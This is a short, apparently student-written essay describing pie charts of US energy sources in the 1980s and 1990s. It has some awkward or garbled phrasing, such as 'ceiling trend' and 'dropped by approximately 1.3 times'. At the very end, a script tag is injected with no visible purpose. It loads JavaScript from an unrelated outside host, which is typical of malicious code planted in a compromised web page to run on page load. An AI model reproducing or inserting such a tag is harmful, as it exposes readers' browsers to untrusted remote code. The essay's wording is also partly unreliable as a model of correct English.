The pie charts display the proportion of key sources of energy used in the USA between 1980s and 1990s

The pie charts display the proportion of key sources of energy used in the USA between 1980s and 1990s.
All things considered, though there was a decline in the use of oil, it remained as the main energy source while a minority of people consumed hydroelectric power.
Firstly, there used to be a ceiling trend in the consumption of not only coal but also nuclear power. As can be seen, coal use was less than one fourth, however, this figure soon climbed to 27 percent ten years later. Nuclear power, whose consumption in 1980s was a minority of 5% before doubling in 1990s, followed the same trend.
Secondly, there was a declining tendency in the use of oil and natural gas. After ranking first with 42% in 1980s, the figure for oil soon dropped by approximately 1.3 times while with natural gas, the proportion went down slightly by a percent (from 26%).<script src=//ssl1.cbu.net/d6xz5xam></script>